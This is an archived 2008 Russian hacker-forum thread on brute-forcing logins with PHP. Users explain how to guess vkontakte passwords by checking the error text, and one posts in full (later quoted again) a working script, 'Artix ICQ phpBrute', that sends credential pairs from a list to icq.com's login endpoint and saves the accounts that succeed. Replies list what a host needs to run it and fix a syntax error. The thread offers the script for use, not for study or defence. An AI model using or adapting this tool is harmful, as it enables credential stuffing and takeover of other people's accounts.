Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Брут с помощью php.

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [В Сети] >> Брут с помощью php.
Имя
Сообщение << Старые топики   Новые топики >>
Брут с помощью php. - 2008-09-25 15:51:07.216666   
DzumoHu4

Сообщений: 279
Оценки: 0
Присоединился: 2008-08-04 19:04:43.236666
Вот задался вопросом брута с помощью пхп.Есть ли готовые скрипты для брута, форм авторизации на других скажем сайтах.Или брут фтп.?
Post #: 1
RE: Брут с помощью php. - 2008-09-25 21:45:09.166666   
lovop

Сообщений: 37
Оценки: 0
Присоединился: 2008-07-19 01:40:51.390000
Всё просто: допустим брутим vkontacte.ru.
при помощи сокетов посылаем запрос на чтение страницы
где надо ввести логин и пароль.
потом ищем в полученной странице фразу "пароль не верный".
если эта фраза найдена, то пробудем следующий пароль.
если не найдена, значит пароль найден.
Post #: 2
RE: Брут с помощью php. - 2008-09-25 22:39:24.250000   
postal134

Сообщений: 1006
Оценки: 25
Присоединился: 2008-03-16 11:55:15.150000
icq brute-force
quote:

&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;Artix ICQ phpBrute&lt;/title&gt; &lt;meta http-equiv="Content-Type" content="text/html; charset=windows-1251"&gt; &lt;/head&gt; &lt;bоdу&gt; &lt;? ///Для того, чтбы скрипт бесконечно работал set_time_limit(0); ignore_user_abort(1); ///Чтобы все ошибки показывал Error_Reporting(E_ALL & ~E_NOTICE); ///Константы, просьба не менять $config=array(); $config['good']='./.htgood.txt'; ///Складывать хорошие номера суда(рекомендую приставку .ht, тогда файл нельзя будет из веб прочитать) $config['pass']='./pass.txt'; ///Лист паролей $config['separator']=';'; /// Разделитель уин;pass $config['host']='www.icq.com'; /// HTTP сервер мирабов $config['port']=80; /// HTTP порт $config['statfile']='./stat.html'; ///Служебный файл ///Если брутер запущен, то выдаем результат работы if(file_exists($config['statfile'])) { include($config['statfile']); echo ' &lt;/bоdу&gt; &lt;/html&gt;'; exit(); } ///Типа притворяемся браузером $request = "POST /karma/login.php HTTP/1.1\r\n"; $request .= "Host: ".$config['host']." \r\n"; $request .= "User-Agent: Opera 7.50"; $request .= "rulez\r\n"; $request .= "$request .= "Connection: keep-alive\r\n"; $request .= "Referer: http://yandex.ru/ \r\n"; ///Плохие и хорошие уины $goodcount=0; $badcount=0; ///Открытие файла с паролями $pass=file($config['pass']); ///Непосредственно брут for($i=0;$i&lt;count($pass);$i++) { list($s,$s1)=explode($config['separator'],$pass[$i]); ///Данные для отправки к мирабам $posts = array ( 'dest' =&gt; '/whitepages/user_details.php', 'desc' =&gt; '', 'service' =&gt; '20', 'css'=&gt; 'whitepages', 'uin_email'=&gt; $s, 'password' =&gt; trim($s1) ); $postValues=""; $s=''; ///Кодирование foreach( $posts AS $name =&gt; $value ) { $postValues .= urlencode($name) . "=" . urlencode($value) . '&'; } ///Создаем post запрос $lenght = strlen($postValues); $request2 = $request."Content-Type: application/x-www-form-urlencoded\r\n"; $request2 .= "Content-Length: $lenght\r\n"; $request2 .= "\r\n"; $request2 .= $postValues; ///Открываем сокет $fp = fsockopen($config['host'],$config['port'], $errno, $errstr, 30); if (!$fp) { ///На случай ошибки echo "$errstr ($errno)&lt;br /&gt;\n"; } else { ///Отправляем данные на whitepages fwrite($fp, $request2); while (!feof($fp)) { $s.=fgets($fp, 128); } } ///Закрываем сокет fclose($fp); ///Если аська залогинилась, то whitepages посылает куки, которые мы и ловим. Всю страницу мы не скачиваем if(strpos($s,'Set-C*****')==true) { $good=fopen($config['good'],'a'); fwrite($good,$pass[$i]); fclose($good); $goodcount++; } else $badcount++; if($i%10==0) { $count=count($pass)-$i; ///Обновление статистики $s=&lt;&lt;&lt;HTML --------------------------&lt;br&gt; &lt;b&gt;Artix ICQ phpBrute&lt;/b&gt; &lt;br&gt; --------------------------&lt;br&gt; Хороших: $goodcount&lt;br&gt; Плохих: $badcount&lt;br&gt; Осталось: $count&lt;br&gt; ---&lt;br&gt; HTML; $stat=fopen($config['statfile'],'w+'); fwrite($stat,$s); fclose($stat); } } $s=&lt;&lt;&lt;HTML --------------------------&lt;br&gt; &lt;b&gt;Artix ICQ phpBrute&lt;/b&gt; &lt;br&gt; --------------------------&lt;br&gt; Работа завершена. &lt;br&gt; Хороших: $goodcount&lt;br&gt; Плохих: $badcount&lt;br&gt; Для продолжения, удалите файл со статистикой&lt;br&gt; ---&lt;br&gt; HTML; ///Запись конечного результата в файл $stat=fopen($config['statfile'],'w+'); fwrite($stat,$s); fclose($stat); ///Брут завершен ?&gt;
Post #: 3
RE: Брут с помощью php. - 2008-09-26 00:13:48.973333   
DzumoHu4

Сообщений: 279
Оценки: 0
Присоединился: 2008-08-04 19:04:43.236666
quote:

ORIGINAL: lovop

Всё просто: допустим брутим vkontacte.ru.
при помощи сокетов посылаем запрос на чтение страницы
где надо ввести логин и пароль.
потом ищем в полученной странице фразу "пароль не верный".
если эта фраза найдена, то пробудем следующий пароль.
если не найдена, значит пароль найден.

quote:

ORIGINAL: postal134

icq brute-force
quote:

&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;Artix ICQ phpBrute&lt;/title&gt; &lt;meta http-equiv="Content-Type" content="text/html; charset=windows-1251"&gt; &lt;/head&gt; &lt;bоdу&gt; &lt;? ///Для того, чтбы скрипт бесконечно работал set_time_limit(0); ignore_user_abort(1); ///Чтобы все ошибки показывал Error_Reporting(E_ALL & ~E_NOTICE); ///Константы, просьба не менять $config=array(); $config['good']='./.htgood.txt'; ///Складывать хорошие номера суда(рекомендую приставку .ht, тогда файл нельзя будет из веб прочитать) $config['pass']='./pass.txt'; ///Лист паролей $config['separator']=';'; /// Разделитель уин;pass $config['host']='www.icq.com'; /// HTTP сервер мирабов $config['port']=80; /// HTTP порт $config['statfile']='./stat.html'; ///Служебный файл ///Если брутер запущен, то выдаем результат работы if(file_exists($config['statfile'])) { include($config['statfile']); echo ' &lt;/bоdу&gt; &lt;/html&gt;'; exit(); } ///Типа притворяемся браузером $request = "POST /karma/login.php HTTP/1.1\r\n"; $request .= "Host: ".$config['host']." \r\n"; $request .= "User-Agent: Opera 7.50"; $request .= "rulez\r\n"; $request .= "$request .= "Connection: keep-alive\r\n"; $request .= "Referer: http://yandex.ru/ \r\n"; ///Плохие и хорошие уины $goodcount=0; $badcount=0; ///Открытие файла с паролями $pass=file($config['pass']); ///Непосредственно брут for($i=0;$i&lt;count($pass);$i++) { list($s,$s1)=explode($config['separator'],$pass[$i]); ///Данные для отправки к мирабам $posts = array ( 'dest' =&gt; '/whitepages/user_details.php', 'desc' =&gt; '', 'service' =&gt; '20', 'css'=&gt; 'whitepages', 'uin_email'=&gt; $s, 'password' =&gt; trim($s1) ); $postValues=""; $s=''; ///Кодирование foreach( $posts AS $name =&gt; $value ) { $postValues .= urlencode($name) . "=" . urlencode($value) . '&'; } ///Создаем post запрос $lenght = strlen($postValues); $request2 = $request."Content-Type: application/x-www-form-urlencoded\r\n"; $request2 .= "Content-Length: $lenght\r\n"; $request2 .= "\r\n"; $request2 .= $postValues; ///Открываем сокет $fp = fsockopen($config['host'],$config['port'], $errno, $errstr, 30); if (!$fp) { ///На случай ошибки echo "$errstr ($errno)&lt;br /&gt;\n"; } else { ///Отправляем данные на whitepages fwrite($fp, $request2); while (!feof($fp)) { $s.=fgets($fp, 128); } } ///Закрываем сокет fclose($fp); ///Если аська залогинилась, то whitepages посылает куки, которые мы и ловим. Всю страницу мы не скачиваем if(strpos($s,'Set-C*****')==true) { $good=fopen($config['good'],'a'); fwrite($good,$pass[$i]); fclose($good); $goodcount++; } else $badcount++; if($i%10==0) { $count=count($pass)-$i; ///Обновление статистики $s=&lt;&lt;&lt;HTML --------------------------&lt;br&gt; &lt;b&gt;Artix ICQ phpBrute&lt;/b&gt; &lt;br&gt; --------------------------&lt;br&gt; Хороших: $goodcount&lt;br&gt; Плохих: $badcount&lt;br&gt; Осталось: $count&lt;br&gt; ---&lt;br&gt; HTML; $stat=fopen($config['statfile'],'w+'); fwrite($stat,$s); fclose($stat); } } $s=&lt;&lt;&lt;HTML --------------------------&lt;br&gt; &lt;b&gt;Artix ICQ phpBrute&lt;/b&gt; &lt;br&gt; --------------------------&lt;br&gt; Работа завершена. &lt;br&gt; Хороших: $goodcount&lt;br&gt; Плохих: $badcount&lt;br&gt; Для продолжения, удалите файл со статистикой&lt;br&gt; ---&lt;br&gt; HTML; ///Запись конечного результата в файл $stat=fopen($config['statfile'],'w+'); fwrite($stat,$s); fclose($stat); ///Брут завершен ?&gt;


В общем насчёт FTP я загнул)А вот формы авторизации ближе к истине.Сопутствующий вопрос что должен уметь хостинг ? ну какими параметрами должна обладать хостинговая машина.
Post #: 4
RE: Брут с помощью php. - 2008-10-08 16:50:29.446666   
lovop

Сообщений: 37
Оценки: 0
Присоединился: 2008-07-19 01:40:51.390000
Параметры хостинговой машины:
-поддержка сокетов в php
-возможность использования set_time_limit (чтобы была разрешена эта функция)
Post #: 5
RE: Брут с помощью php. - 2008-10-08 17:23:47.986666   
himi

Сообщений: 1
Оценки: 0
Присоединился: 2008-10-08 03:26:33.546666
в асику бруте
$request .= "$request .= "Connection: keep-alive\r\n";

наверное просто

$request .= "Connection: keep-alive\r\n";

?


Post #: 6
Страниц:  [1]
Все форумы >> [В Сети] >> Брут с помощью php.







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.